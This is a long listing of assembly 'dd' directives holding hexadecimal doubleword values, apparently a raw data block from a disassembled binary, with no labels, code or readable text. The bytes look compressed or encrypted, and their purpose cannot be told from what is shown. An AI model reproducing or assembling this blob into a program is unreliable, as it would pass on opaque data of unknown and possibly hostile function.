		dd 791620F1h, 49FC9420h, 0DF1050A1h, 9F81017h, 10CD0C10h
		dd 5824A5DBh, 89E8830h,	0CDFFA08h, 1F1074C8h, 797E51CDh
		dd 30429165h, 963E0344h, 206BE920h, 3C20FD39h, 66C1314Ah
		dd 98F2F608h, 76C94418h, 0AB7F80DDh, 80CBCA80h,	8C66AFEh
		dd 2A283F3Eh, 0A8B87301h, 805AD5BCh, 10C97822h,	31882333h
		dd 0CA187353h, 89CC6881h, 0B0267497h, 0B0AB59D3h, 8248FF3h
		dd 5E8910BCh, 8C2C2859h, 866528Ch, 188463ADh, 8326FF3h
		dd 0A341D92Eh, 542385A8h, 40121809h, 41C61053h,	2008F75Eh
		dd 90624A34h, 28A1E89h,	1A06C251h, 806C7169h, 85898AB1h
		dd 0E119A003h, 6D919884h, 99E73898h, 10C6E8E1h,	620884BBh
		dd 0D7C5815Ah, 0FC448D05h, 57049D43h, 48220602h, 45A82010h
		dd 4DEA9020h, 82100C9Fh, 41713186h, 0E1AA7A3Dh,	70BD4D9Ch
		dd 106F4610h, 4D100BE3h, 0D66D105Dh, 0FC9C6004h, 5FA4C8E8h
		dd 0A8EF810Ch, 0BC8B1E47h, 44C00CDDh, 6CB03B10h, 0EB02751Eh
		dd 0B90E8918h, 0AE3DDEA7h, 8F440063h, 0C90B4940h, 8BF77507h
		dd 811E2474h, 0B9F003DEh, 33FF476Ah, 0B10F80C0h, 2CCB304Fh
		dd 8006DBACh, 0A3B25250h, 819D87E9h, 6E7C1D1h, 5A75A681h
		dd 704776B8h, 65184846h, 0E90C6C16h, 0E61E3AEDh, 36A9C31Ah
		dd 0F166A0DFh, 7EBC6B8Bh, 4830321Ah, 18FF668Ch,	86BF5746h
		dd 48CAED00h, 22E96039h, 82D48211h, 10F43500h, 2F58C501h
		dd 0BB5B048Bh, 8912E997h, 4918AEE3h, 4DB9701Eh,	5264601Eh
		dd 54CDDE8Ch, 6B35B85Eh, 0A0590CC8h, 85E3E56Fh,	51BDDA3h
		dd 59A04E07h, 534F223Ch, 0C550E10Fh, 0FC9031DCh, 0B0C0FCB2h
		dd 0C2801CF6h, 893BFB6Dh, 2892F238h, 2FACCDD3h,	36E3E605h
		dd 7603CFFBh, 3B5C608Eh, 0F412EA05h, 0F0016E0Ah, 5A2F072Dh
		dd 69D9B551h, 92208D78h, 80C5390Fh, 458EC07h, 0C3E80552h
		dd 50B059E6h, 530839B4h, 92DE12E9h, 5CCABBC3h, 0EBDB2C12h
		dd 0E909801Dh, 749BD86Fh, 0D2661EBFh, 49FE9246h, 145D332Ah
		dd 36681203h, 0B23F305h, 0C8012AB0h, 0B951D5h, 2D7D58C0h
		dd 0FF8CB168h, 295D6D0Bh, 605579CDh, 1608C7E5h,	0F234E9FAh
		dd 14BF1665h, 5F05289Eh, 67F1420h, 68518BDFh, 82AD6895h
		dd 7768B73Ah, 0C2F774Ch, 7F65868h, 0BE56D3F7h, 5AA101Dh
		dd 5E5FF309h, 52C090A8h, 0BB75D6BAh, 48D1504Ah,	9DCC8104h
		dd 64912F3Ch, 0D9028870h, 0E94BA91Ch, 0CEE6FD86h, 0DDBB5301h
		dd 5518F44Dh, 0B79502FCh, 0F79E9994h, 6BF76885h, 0BF9DFEEh
		dd 0FD7B07E9h, 0D1D1EBB3h, 40B6AD47h, 38C3C718h, 8261292Ch
		dd 20D51343h, 0FAA93A11h, 7EFC2A01h, 0C6E5A2B5h, 281C26D8h
		dd 14975F5Bh, 0D06E4A29h, 3FF9F600h, 0DEF70FD5h, 0F644589Fh
		dd 275001C6h, 0F0E93E29h, 33E66A4Ch, 0F351C812h, 78F22D98h
		dd 997BBFC8h, 0D594DF4Bh, 0AE6145FCh, 0F6B681Ch, 5324C539h
		dd 3F1B6F47h, 5556BF85h, 20E796E0h, 9C88924Dh, 84822704h
		dd 53E202F3h, 74266882h, 0ED60C674h, 1C2831B3h,	0C48058C3h
		dd 0AEDA085Ah, 55C75398h, 41DAB460h, 8BADEE7Dh,	79BD45C6h
		dd 9A60A598h, 54FDE0E9h, 5CB50187h, 6A3CD57Bh, 462D4900h
		dd 28D943h, 5237BD55h, 0F58133CCh, 0DE5D740Ch, 72D70C62h
		dd 2B7C6Ah, 8A4E5FC5h, 924CE917h, 5809ACA4h, 86147034h
		dd 0B716DCA9h, 0F895BE14h, 0E9C2132Ch, 806484D2h, 0D4F6CF1Ch
		dd 14EC801Ch, 0C1D7C4CEh, 0E130DCF4h, 0C05EE236h, 0DA6CE94Ah
		dd 0B56E5B5h, 96DA4B48h, 0BF141928h, 7D0D26A0h,	0C64D030h
		dd 7231A4B5h, 5EF112AFh, 7ECEA151h, 0BEC1BAF2h,	60BB0DD8h
		dd 94409707h, 80354CB4h, 0E53A6138h, 6683EDBAh,	38B75358h
		dd 4577FD82h, 0EC28012Eh, 2AE23059h, 5FC37CDCh,	2FCD9D3Ch
		dd 596C6ED8h, 26766DF6h, 53D1AC84h, 9FD40DD9h, 0CD01450Ah
		dd 306036DCh, 7A4BA12Fh, 0A5461EA7h, 3AAD680Ch,	0DE92B045h
		dd 0A833C597h, 0AFE0909h, 1D006E41h, 9277063h, 19F92EE3h
		dd 45B95516h, 904FDFE6h, 15B3D8FBh, 2847EF3h, 42DB81BFh
		dd 4CE6BCCh, 7C30314Ch,	2A39F6DFh, 0C8361F25h, 7A60FBBh
		dd 216887F2h, 89090E28h, 9672AB54h, 948B038h, 7FAF4221h
		dd 882787Ah, 0C67F8832h, 5589B59Ch, 41A11CF7h, 2E79208Fh
		dd 5B314C48h, 20688FB0h, 7AFA3133h, 183DFEBEh, 8B155AFBh
		dd 0B12EC03Ah, 0F7B05018h, 19D8F63Eh, 2122D043h, 0FB18216Eh
		dd 5DE26F4Ch, 3DA55F8Fh, 0F0805296h, 864E368Dh,	3E663AE6h
		dd 0D916355Fh, 2CFE895Bh, 1C022DF0h, 21D8CCE2h,	80A496C7h
		dd 6910D1E1h, 257F90B7h, 0B6C75499h, 52B3B1E9h,	0FBAB424h
		dd 10B40BA0h, 0B87C1845h, 8701C823h, 395D5255h,	554509FFh
		dd 1427B9E7h, 859B978Ah, 3D2D1805h, 0C2FE6928h,	881EA67h
		dd 934A8EE9h, 45E8296Eh, 0B8235505h, 5496057Ch,	4B31BA74h
		dd 43023F94h, 421400FDh, 0C06BB410h, 0C06A8A38h, 0DF480139h
		dd 2908407Bh, 0B532F748h, 2551FA2Ch, 65C20BE9h,	85A74C7Fh
		dd 0D8308EC6h, 0E908C34Ch, 0C2D72FEEh, 0D7C4B7A2h, 0D09B9306h
		dd 9605CCB9h, 0A3EC582Ah, 0FC404D2h, 0C0D88437h, 0C4628D7Ch
		dd 0F9016F1Fh, 9042A649h, 0E8AA878Bh, 26057DA2h, 8E79B52h
		dd 0D11D4C64h, 18E103BFh, 0B33AD83Bh, 0A667C0F1h, 0CD891C36h
		dd 5DE8CB59h, 38F61B58h, 0DE9C6BEBh, 80C35589h,	0D8DA4E7Bh
		dd 61F8E8A9h, 7F159B02h, 0C0CB8171h, 122E2C4Ah,	408D5DE9h
		dd 85357E68h, 61756837h, 3DF59897h, 0B866EA60h,	64B800DDh
		dd 0C583328Fh, 9376E9FFh, 0E80B7092h, 5211ED67h, 0A5ED9713h
		dd 2BEFE984h, 9F109A95h, 0CE4009Ch, 1B6816AAh, 602EBC3Ah
		dd 31DB081Ah, 2ABA26C1h, 0B6213EECh, 807BD04h, 99F015Bh
		dd 2FA8D6DAh, 677C3D89h, 61A05F5Ah, 1B7E7D95h, 0F5440125h
		dd 0C04C092h, 0DB0FC858h, 4AFAAA59h, 0EF9C70FAh, 225C3193h
		dd 5CD72CD9h, 0AF6D361Dh, 52320725h, 0F4657709h, 0B744362Dh
		dd 5DA797DBh, 0D2202AB0h, 0D9C235C0h, 0B86CD770h, 0ECCF5A9Bh
		dd 349A170h, 30789A23h,	0C63D3334h, 473D1B01h, 2CE59913h
		dd 0CAD853B8h, 62F920Bh, 63083FEBh, 8C760C59h, 2904A40Ah
		dd 820EDCBh, 71140CD0h,	8033012Eh, 92A9381Eh, 64A88C03h
		dd 0ACFEDADAh, 0B753CD90h, 0E21651C7h, 68ADB241h, 47266BA9h
		dd 295D6C05h, 20FEB01h
		dd 5E25707Eh, 1EEB315Fh, 0AF8A856Fh, 0B42E9D29h, 0C29F4AD4h
		dd 0DB9DD7E2h, 0E6684625h, 19B09FE6h, 43B2D72Dh, 3E269F25h
		dd 826839FEh, 66013B62h, 98EED509h, 125159FCh, 74F23B99h
		dd 31CDBAD3h, 296F25E9h, 5EB23A33h, 6A20944Ch, 12C9599Fh
		dd 0EB3CC429h, 9CD87EF7h, 203B0D3Bh, 0F0C50201h, 5F70C128h
		dd 0C0F41503h, 0AFB47D13h, 200304AAh, 0F007FEF9h, 76A971C1h
		dd 0DEE985BCh, 34DDEA2Fh, 0D3B1E32Eh, 71B631ABh, 0D03000F7h
		dd 3E51FA5Ah, 5C192BB1h, 28F7EFCAh, 0C648DFCCh,	6BB801D6h
		dd 2E3D7556h, 0DD5F8BC2h, 96E6FD82h, 0A256657h,	3DF42148h
		dd 0CB3514A8h, 0CA4FC780h, 83BFC81Ah, 57218DAh,	6FC3801Ah
		dd 530C266h, 3A30EB5Eh,	0B5014BAFh, 93CF3871h, 0F44531A6h
		dd 18F1F6F0h, 5B9B96E9h, 2C1474EDh, 74F528E7h, 0F2084799h
		dd 98471807h, 32FA1DA7h, 1AFB313Fh, 7D1CB69Ch, 75276D4Fh
		dd 6DA5DBA7h, 65B37E14h, 4CCAB84Bh, 6F260571h, 0AE8105EEh
		dd 3400F42Ch, 481D0C28h, 0C0AE1F04h, 531C3028h,	0D880D388h
		dd 0C7305A5Bh, 0EE32A066h, 0D9F680B2h, 0B7535000h, 73EF8040h
		dd 0F7FC4888h, 622D6A13h, 15020C5Ch, 35DE09F2h,	0D6515F07h
		dd 85C2DE2Eh, 7FC14B7Dh, 97747742h, 0E80C5C24h,	0CE2FF96h
		dd 3A383921h, 4801090Ch, 0E94A5B57h, 249E50E7h,	892D8258h
		dd 0E115A2h, 1DA4F8C6h,	78D93BEBh, 0D447F37Ah, 72A28930h
		dd 4E98ECCFh, 0DD7DB875h, 0FE1D0927h, 0CBFE250Ch, 0D088E3E0h
		dd 0FB9598EBh, 4222E604h, 8A8E18F8h, 0CEFA3147h, 52CFD706h
		dd 1F3D8516h, 0AB8FA583h, 0A9E959E1h, 55C89D39h, 0D519FB8Eh
		dd 40893A4Ah, 0B2A5512Ch, 685CBF82h, 0BBC657BCh, 14B6520Fh
		dd 21BD8951h, 0DD6FE9D6h, 0B6E72399h, 2E99BCBAh, 0E05BD2F0h
		dd 0E84B5905h, 8E03CC1h, 67743501h, 2D5C94E9h, 5BDFC44Bh
		dd 0F32F35CDh, 9F9C5C8h, 0BE856721h, 34F155C2h,	58E81DB4h
		dd 22F55785h, 6DC4D6D1h, 0B6C1EF07h, 0DCB42584h, 0F7BA8394h
		dd 3DA079E7h, 0C0822C77h, 9A05AAh, 2D391314h, 2123DC4h
		dd 58BFBEB8h, 4F0D3B83h, 85DE1D27h, 0FB1BCD43h,	7DC0330Fh
		dd 65F0F0F1h, 97C2858h,	0EBBF5620h, 82AF40C3h, 6FFE093Fh
		dd 6354097Eh, 7B5B310Bh, 10384AE9h, 0C48C4E9Eh,	34DF90C8h
		dd 0C1BE04AEh, 14570EA8h, 8242F3EBh, 572A64DCh,	50339CE0h
		dd 5F37C312h, 2315FBB6h, 0E158F3BBh, 1C683578h,	6516AB62h
		dd 171B04EEh, 0BBBF008Fh, 0C2644470h, 0B11AC4B1h, 5675DFE0h
		dd 29403616h, 87210FFh,	6009317Dh, 6EF4776Bh, 7FD62C0Bh
		dd 55115109h, 0E012AF29h, 9670E9EAh, 4BBA02FDh,	2076D404h
		dd 0B600E0Fh, 8402576Fh, 56D6E439h, 0B0052900h,	48F8E928h
		dd 0B3C47CDCh, 0C3BEC448h, 0C5ABDD1Bh, 18C7E9A8h, 0E530C2B2h
		dd 23598453h, 302A7E74h, 0D40BC7Ch, 112546C4h, 41025470h
		dd 0D4CFD02Dh, 0BB990994h, 91BF5312h, 2A30BBCAh, 0F89D5F88h
		dd 8C215191h, 794FA638h, 2D913EE8h, 0DB6F4CE4h,	0FA41122Eh
		dd 7016018Ch, 7376E1BDh, 80F55B7Bh, 44B0254Ch, 3504C17Dh
		dd 2D305D06h, 798C2E82h, 22C82D5h, 385D1FCBh, 316859D0h
		dd 387B1726h, 259E69D5h, 5ACC7C5Dh, 53BD764Ch, 0B0E9C261h
		dd 3509EE50h, 0D7C62D8Dh, 17B83100h, 0E9167003h, 74FE1CD3h
		dd 5074E206h, 274080A1h, 0B88402B9h, 0C12956F4h, 8043E65Ch
		dd 0EBB131E6h, 70575D17h, 18D44AC2h, 0EFD10B6Ch, 0ECA05547h
		dd 36781FB2h, 414091B0h, 60172F68h, 0A22F9346h,	876BD10Dh
		dd 0C9716ADBh, 5100C7FEh, 2F7F90B9h, 7D589D4Bh,	10E3084Ch
		dd 0A44B22C9h, 0B54925AFh, 1F0A041Ah, 0CFC06227h, 5CB63788h
		dd 5149AA1Bh, 0F27D7Ah,	555A6E32h, 3C4366BDh, 954D7506h
		dd 5A06D0F7h, 508580D5h, 4913E4B8h, 3FE1FB2Ah, 0C94EE12Ah
		dd 734CBC03h, 1932E7BFh, 410A250h, 0F9A5FE84h, 45778E40h
		dd 0CF2750B2h, 4B367F60h, 96F3BC13h, 1C2BCD1h, 0EA30F349h
		dd 0B81F220Eh, 349D5ABFh, 0E32628B3h, 8B528FAAh, 0D3E54C2h
		dd 604D8E86h, 360D79ADh, 742918FDh, 0A5004E9h, 0B0CA875Ah
		dd 13B5B20Ch, 0CC228668h, 0E988029Fh, 0B1B62B5h, 9B5FF234h
		dd 8FBEF1E9h, 65E8C87Bh, 56E688E8h, 8B20E7BFh, 34D50EE9h
		dd 3238346Ah, 0E435BFEAh, 0A7065905h, 0C524CCABh, 47BD5018h
		dd 48307F44h, 0FA281BBFh, 60882B6h, 974E3CCDh, 0A2E9227Ch
		dd 6422B4DEh, 0EF0648D7h, 0FA64855Ah, 9BB5B98h,	12212F3Fh
		dd 0E3A5200h, 0CBF04426h, 3D5AE918h, 0EEC4FE42h, 4ED1495Eh
		dd 9A708107h, 947BA469h, 90CBB9Ah, 98D3C7B4h, 5A973C75h
		dd 0E30E61BBh, 6C6F6BE2h, 6320CB80h, 870B0B9Fh,	4299E9F3h
		dd 88756520h, 59007CAFh, 685DE831h, 0B9395F01h,	81D1D250h
		dd 5C012D0Fh, 7FD86B56h, 49F301BEh, 0C2E9111Fh,	269622Bh
		dd 0AE6858C7h, 0B00C460Ah, 0DE56E8A7h, 0D7FD9679h, 7E81C2DFh
		dd 0DABCC909h, 0D4A9802Fh, 6195902Ah, 0F7E255D7h, 165C8404h
		dd 0B11290F9h, 416AA519h, 4508FF58h, 301E87CCh,	7CE4358Fh
		dd 36125AB2h, 614579Dh,	2DCB09B4h, 0D7DA0389h, 0B3FBFA5Ah
		dd 5F03B2E0h, 0D1601FEEh, 2393BBA9h, 0C92A516Fh, 5BA97A84h
		dd 5EFFC14h, 0D7E2792h,	2018BA07h, 0C3C021D7h, 4B8C3750h
		dd 5FAE566h, 68D0AB08h,	9A3D0AE9h, 4D2702B0h, 0CA090B59h
		dd 7E5A4F54h, 0E89237AFh, 7A045413h, 2123C8Dh, 0E438705Ch
		dd 626B005Fh, 12164341h, 44A09DE9h, 1E6314DBh, 0F2C2A692h
		dd 51165D05h, 7E3E2D00h, 82053CE3h, 75FC2D38h, 70232C2h
		dd 9E6BCFE9h, 0D3B8410h, 0E1EDFC5Eh, 68CCF9F7h,	0F7755EA5h
		dd 0F0221779h, 0FBD6CCF8h, 9BE53F13h, 46A8A844h, 5F030696h
		dd 70951233h, 6713A026h, 4F933D0Fh, 83E2B0FFh, 3A1C0208h
		dd 5D35922Bh, 2B656CFFh, 3B7A7C33h, 0EB5E5913h,	559F58Fh
		dd 35A0680Bh, 0E90E3177h, 8004A4E5h, 45659E6Bh,	0ECF93A4Bh
		dd 96300841h, 9CA40FEh,	0F69481F9h, 649F5AA0h, 89D7B06Bh
		dd 0E5805CB0h, 2C245CBCh, 351F7652h, 0A73511E5h, 4198AF0h
		dd 0D05475B8h, 94EFB858h, 17D51C31h, 0B56128Bh,	68D440C2h
		dd 5B62559Fh, 1E9A8540h, 39B0F4h, 4D703FCAh, 0A2ADE92Fh
		dd 0D4C14BDEh, 4A6FE301h, 0F66760C6h, 0E5A257h,	43744BB3h
		dd 0EFC9EC30h, 124C9AD8h, 34F5ACE9h, 0EBD813EAh, 0F6BEA184h
		dd 6931DA52h, 0F7F25F44h, 16DDDC82h, 0C9907C44h, 0E29801E6h
		dd 354F260Ch, 31A0C4Dh,	0E9AD5A7Ch, 2E57B15Ch, 74277C9Ah
		dd 97FF54EFh, 5FADE85Ah, 0EB4A84ECh, 7F207639h,	2B5D815Fh
		dd 16C529B4h, 5E31AFDh,	0B4895030h, 6D17B73Fh, 0D6094652h
		dd 0B5A7987Fh, 0E5D007AEh, 3330F580h, 0EDB0B3CDh, 1725E9C9h
		dd 0C7550043h, 9D923663h, 4A02BA58h, 31A10C5Dh,	0C22C7FFBh
		dd 7A1C0818h, 0F58B73E9h, 0FDB6A6A9h, 2FA99794h, 28686230h
		dd 0E1CC704Ah, 7B5545ABh, 39CB1040h, 9257AB6h, 5AC95738h
		dd 0E0C1A0FFh, 962D4008h, 976A818h, 50801107h, 580B58C5h
		dd 4615A056h, 984A4D32h, 173F5E69h, 0B5B1EB5h, 18D5FF7Dh
		dd 7B670AE7h, 515D24A9h, 11081845h, 0E92CD189h,	5F98EBC5h
		dd 1C223EAAh, 8035532Bh, 687B1E1Ah, 0B5A62FB3h,	226497A0h
		dd 8A15C028h, 9948C30Ah, 6B3DD77h, 5760E706h, 0B8929D0Fh
		dd 0BDEA5C81h, 0DC84D327h, 0F1C6805Ah, 0AF267732h, 0C851D1Ah
		dd 60820517h, 0E6BA01BFh
		dd 306BC151h, 370B33FEh, 0B24F1E80h, 0AB1F8E05h, 0ED590630h
		dd 33B43B14h, 1FC975AAh, 0D7D0895Ah, 0FF288596h, 609B5F73h
		dd 17048E37h, 893E5159h, 3D8C92CFh, 8D0BEF8Ah, 0FC510102h
		dd 0B2BDAF42h, 5E5A5F17h, 0F9FF3D0Fh, 3B9DFE58h, 0A5B84ED7h
		dd 0B328E430h, 4EB03039h, 59EE2013h, 500A02FFh,	805C21B4h
		dd 3073C401h, 0E9F858E6h, 0A1F1E0ECh, 0EE044B94h, 61BEA4C4h
		dd 0EDE9CA64h, 50A22B11h, 65D99193h, 0C05A023Fh, 2716ABDBh
		dd 0BDD62F15h, 20C16860h, 5A342D6Ah, 26D27000h,	32C13336h
		dd 7D290F43h, 200074CAh, 1FE93908h, 807EA95Ah, 0FD54C0C1h
		dd 0F75A972Dh, 593D7E09h, 83607DB6h, 2FF158C5h,	19A35F04h
		dd 64B95618h, 0C63D030h, 5FB340D6h, 0BD620E02h,	0D1071354h
		dd 0D4D25CCCh, 79E0C2FEh, 0C1A6937Fh, 85C36442h, 2C5298FEh
		dd 0B2ECF14Fh, 86E808F4h, 2B9D8052h, 983A5779h,	0E6077F91h
		dd 634617C0h, 93A81053h, 6119967Ch, 61EE97CCh, 8709ED2Bh
		dd 40478F16h, 8AE85E85h, 804A6E58h, 62A5E735h, 0C1F6F8F5h
		dd 7F090BBAh, 962B917Eh, 0C4564805h, 1A3EFA01h,	0E0E9BE7Bh
		dd 0CDE9A535h, 0E2606413h, 5A12F99Dh, 2AA12361h, 7B785FDDh
		dd 9DA229CBh, 0C60BCF4Ah, 12D39AF8h, 0EF5B5453h, 2D2A3D99h
		dd 0E32FE3h, 9D592F17h,	0C3F12B05h, 0A3C1600h, 8914021Bh
		dd 0F2315AD6h, 2E0BA870h, 86234B07h, 8A95EE41h,	29AC42ECh
		dd 0E118590h, 28BA8516h, 7B7E2D7Bh, 0F0A8CB64h,	227A8BD0h
		dd 0B9041FE2h, 149C8102h, 265AD131h, 0A3BA028Ah, 8050642Ch
		dd 1D3AE4ADh, 8696A043h, 72FC263Ch, 0A11F1465h,	802B680h
		dd 0CB048122h, 61B77FE2h, 87FC44EFh, 0C958F869h, 24E65E55h
		dd 0BCCF3E00h, 765A2F95h, 0AB765A7Eh, 0CC802E03h, 1FEC99B9h
		dd 0E225090h, 7556DEF7h, 0C3C210EEh, 710D4807h,	807F8E21h
		dd 477405D0h, 76EA19C4h, 86988D03h, 842FEDE9h, 5FCAB7h
		dd 0B27A336Ah, 68005015h, 8886D73h, 967D34E9h, 2655820Dh
		dd 64DD17B7h, 0EEF9E07Eh, 2515B4B4h, 5A736270h,	7FA6C0B5h
		dd 7CFE2E36h, 4B602A3h,	0CA5D1A80h, 5E0805D2h, 681A42EBh
		dd 17D254C2h, 522969h, 7247287Bh, 6E23B060h, 49A603FFh
		dd 519F2CD9h, 7DF4AF9Fh, 1D636D88h, 0DF1A8959h,	70F10F9Bh
		dd 0B8DF485Bh, 49760117h, 50F18E09h, 9EB107C4h,	70EEB80h
		dd 5FC357CBh, 7C025FEh,	53B5585Bh, 3425BB44h, 0F75A9574h
		dd 0E98664E7h, 0F166DE0h, 437CC4BEh, 0C1730172h, 8005B72Bh
		dd 3273BD0Ch, 6740E96Ch, 73C343DCh, 0DB1F071Dh,	0DBC9F089h
		dd 4869B58h, 0A6494A72h, 7260872Dh, 9C6059B6h, 0EEBD5AD0h
		dd 16CEB151h, 5DB749CEh, 8AF556A9h, 0AF18DFDFh,	0B758545Dh
		dd 0CCC1CF1h, 5E681608h, 0A6C30948h, 0F452F1Ah,	0F0058992h
		dd 0CFAED021h, 4A3B6939h, 88A35457h, 303DCD3Dh,	8D12D8EAh
		dd 1BD74D21h, 6BE9550Fh, 9FB52238h, 211668B5h, 0E7EA7E88h
		dd 81AD79DAh, 45C87F74h, 0BFB57452h, 762D6716h,	702B6B1h
		dd 8581FD5Ah, 88AD07C1h, 753CDDEh, 8251D028h, 9E77EE12h
		dd 21544EAFh, 13A1EDCCh, 0A5EFF4EEh, 0A8ADF70Eh, 0CCBB3961h
		dd 0C2552F4Ch, 0F7814038h, 2DD3059h, 0A04868F0h, 2F76875Ch
		dd 0CEB7695Ah, 7A5AA2Ch, 0C44B1F98h, 0CCC1EB0Eh, 0BB05F592h
		dd 4A757A45h, 2A7DDFBAh, 23255253h, 8AA353F0h, 1291EB68h
		dd 1D74B301h, 0C35EDE87h, 0A5FE0AF4h, 7A9C3FCAh, 0EDB9E47h
		dd 275C2368h, 97F79455h, 2DF18420h, 0D49752CDh,	0F02093AFh
		dd 0CB0FBFD5h, 4525F237h, 8EEFB6F0h, 0C8F65F75h, 0FE735103h
		dd 81AC5B40h, 472921Bh,	0B3D44CA8h, 27D5E510h, 9F0AF051h
		dd 31EA259Eh, 0C7179060h, 483A516Eh, 1A052356h,	0BE261519h
		dd 7FC5E7D2h, 0E9D99343h, 0B9C381D0h, 0D662F54h, 7CEE82E9h
		dd 4544F9h, 1C3BECBBh, 0EA8A9D33h, 73E50047h, 38351A30h
		dd 266D4812h, 782531C0h, 10A0000Ah, 3A44192Dh, 6E0E3531h
		dd 0D2D98ED5h, 0EAE91904h, 250304E8h, 42120EF4h, 0D3A0DFD2h
		dd 657589B9h, 0F0412730h, 5A9A8A7Ah, 0E9ED88D8h, 2CD64B7Dh
		dd 0DA9D22FFh, 0F925F75Ch, 675FC981h, 0EEE91F8Ah, 0A250AFC0h
		dd 2A16C604h, 0DBE145FFh, 48519D3Bh, 3870AA1Dh,	0F5BC2EE1h
		dd 0EDD6E9E0h, 0A4270BB2h, 59677677h, 58342658h, 0F0FD1523h
		dd 3A9905B8h, 0E1852D69h, 4630FF87h, 0B8556B54h, 5D8A0CE0h
		dd 141865E8h, 0D27E662Eh, 0D2683F83h, 0AD580070h, 815DFB13h
		dd 711321CFh, 8EF010E3h, 2460FC7h, 0E7C054D8h, 77067C4Dh
		dd 82021690h, 0E9E3AED6h, 0B735F071h, 9B8A05EEh, 4836BCFDh
		dd 9196F4BFh, 6F91339h,	5986098Ch, 958528AAh, 70DBEACEh
		dd 48E8D100h, 1A0D2D40h, 50F3EB16h, 4EC413D1h, 75BC8704h
		dd 0BF4D9457h, 0D46D60Dh, 665CB38Bh, 0D8259077h, 107182E6h
		dd 7B4D5C25h, 4CEDCA10h, 62F7682Ch, 4D51F295h, 0E12DDB20h
		dd 7F2312BBh, 84D62AEAh, 0D593425Ah, 50BE7E96h,	10A5BC1h
		dd 0F64417A7h, 94B3EF9h, 10C65E5Bh, 0C1F140FDh,	0D3D2309h
		dd 132CFCEFh, 8BB8C057h, 47659E31h, 3A325E7Fh, 41089C6h
		dd 27B2EE0Ch, 2A19F603h, 0C0770DBh, 1F574DE4h, 5B23E6C0h
		dd 3E286E27h, 0D7DB7000h, 4C4B33E9h, 79816275h,	0B63AE621h
		dd 0AB391A9Eh, 742D621Fh, 176D42D6h, 1BEB76Ch, 0F45ABBB2h
		dd 0E9275614h, 5B4F7E76h, 794C94E0h, 64F556Fh, 0CEE3107h
		dd 0A035C6BAh, 907EC2D0h, 6ADE3Bh, 50205BF2h, 4CA1E964h
		dd 12D7E3FDh, 5082B876h, 2FE5F237h, 15020221h, 111E0405h
		dd 55E0BD3h, 0AFF18BD1h, 4BA37E20h, 4C8CCC46h, 7572040h
		dd 1635B768h, 117B378h,	5431338Eh, 590B67B8h, 0B8D68A2Ch
		dd 0CFC4D2AAh, 0CED68EFEh, 8028B911h, 0C15A2120h, 0B2524008h
		dd 81E2E8CFh, 0F6FA8608h, 0C28E3FD7h, 0E964FE1Bh, 0EAA82Bh
		dd 7C62B0BEh, 73F331BFh, 8BD8175Eh, 0FC6CEB1Ch,	0EF519F0Ch
		dd 18B85062h, 0F1B9AD2Bh, 0F8897D49h, 0EB8185C8h, 221F340Eh
		dd 0AACBC010h, 0C0429A13h, 0C1058448h, 0C350091Bh, 7B957AA0h
		dd 6F4827D8h, 0C69D3BFFh, 35D99D21h, 0F816E942h, 6A509750h
		dd 0EBC9C52Ah, 3666816h, 0EE9D6CABh, 0C0A83EEDh, 0F1A6AEE4h
		dd 1756AC5Eh, 0CC72C683h, 4ADAD891h, 1F2AE85Bh,	1601590Dh
		dd 573C685Dh, 72BA5654h, 0B0588D28h, 68525600h,	3E1A1DEDh
		dd 6B46905Ah, 0D2005513h, 77C058F9h, 34A1495Ah,	0BB395466h
		dd 152B0F0Bh, 0F0E2D90Bh, 48227377h, 96F725CDh,	0A8029853h
		dd 0B0E6D1BAh, 974650B6h, 9826737Ah, 0DEE0462h,	0AB71CA1Fh
		dd 81865D4h, 0A87EFCECh, 3F15BB27h, 0B15B5C50h,	2DA0E443h
		dd 901F0998h, 0D4ED42EDh, 0BA5200BBh, 1FB73F2h,	48EC39F3h
		dd 0A9579687h, 0E9C264B7h, 0D2A4D242h, 5B3EA3F8h, 0E620C0E8h
		dd 7DE0C03Eh, 0C630BD17h, 1569D1Fh, 0A9600599h,	0AD4640D3h
		dd 99598ECh, 0ABC5FFD2h, 0C87CAA89h, 2C163077h,	2DE0886h
		dd 40C8FBECh, 0BD34E200h, 3E91A75h, 3772ED8h, 4C49B7CEh
		dd 92108FB3h, 7E8925E8h, 584CBD8Ch, 0BDBB86Ah, 947D348Bh
		dd 5AE97E1Dh, 0A211CCB5h, 4AAD3016h, 12B683F8h,	70322A04h
		dd 0C9AA016Ch, 680A01F4h, 5921F7B4h, 91C3011Ah,	82018946h
		dd 41FDB0Ch, 39940070h,	0FEC16527h, 10756C6Eh, 3AEAED20h
		dd 0C0CA7324h, 0F7814F4Ah, 18345B09h, 0F438D58Ch, 1B4F80E9h
		dd 5B4FFB28h, 98B82870h
		dd 9640B84Eh, 116B563Dh, 68D20BF7h, 0B9514903h,	4D6C9580h
		dd 0BFE5C178h, 5009BCD0h, 7926C468h, 7DCA806Bh,	90B81B8Ch
		dd 5458CC7Eh, 2152050h,	68ED2C5Bh, 6B461134h, 0E963B704h
		dd 24AA6148h, 8BE4AF4Ch, 404C1D2Eh, 0C607BD0Bh,	0E4FB557Bh
		dd 3DD2F918h, 0CA608FEEh, 66F0094Bh, 0AD40B587h, 61040D82h
		dd 6EE95F21h, 296849A0h, 396E7A8Dh, 2D366D1Fh, 108D1F79h
		dd 0FC2E25A9h, 31344B3Bh, 0F04591AAh, 5727A6Eh,	128BD02Dh
		dd 8B797368h, 84E85882h, 510A48DBh, 0A9600F3h, 0C1897B99h
		dd 8A8036A4h, 9BAA55E9h, 0A8D8AC61h, 0D2FA6E59h, 6AF52A5Eh
		dd 0D4EA8E02h, 880E83C2h, 0FC4C58E2h, 21FF4EADh, 8C06BF74h
		dd 5B88A0B1h, 0F0544FB1h, 8016D9FBh, 8E45EAF1h,	6DC1CA28h
		dd 46B71FA3h, 2A2E7F10h, 0B43BECF3h, 5B9B65C2h,	0A173DEDh
		dd 8D01616Ch, 489476E1h, 0DCAE1715h, 80462D31h,	7CED8100h
		dd 45960717h, 41C5E800h, 9D7A9B4Fh, 8832B52h, 3F500C02h
		dd 5F5B606Eh, 0BE06C76Eh, 1D2068C8h, 92632693h,	0D0A9C946h
		dd 0BFA16E5Dh, 680BC0F3h, 69E3FED2h, 0BEF02206h, 16FEAD4Bh
		dd 2F3CEF40h, 808D400Dh, 1873C348h, 0EB112599h,	0D92814AEh
		dd 0F232BD5Bh, 828D4B06h, 0DC76CA52h, 12CA6488h, 0E8F0885Ch
		dd 4989E040h, 4C9F1DC6h, 0C961EA73h, 0D806BC65h, 122EEA0Eh
		dd 2666C0Bh, 5A5EB78Eh,	0EF32025h, 526557Ch, 0D698B032h
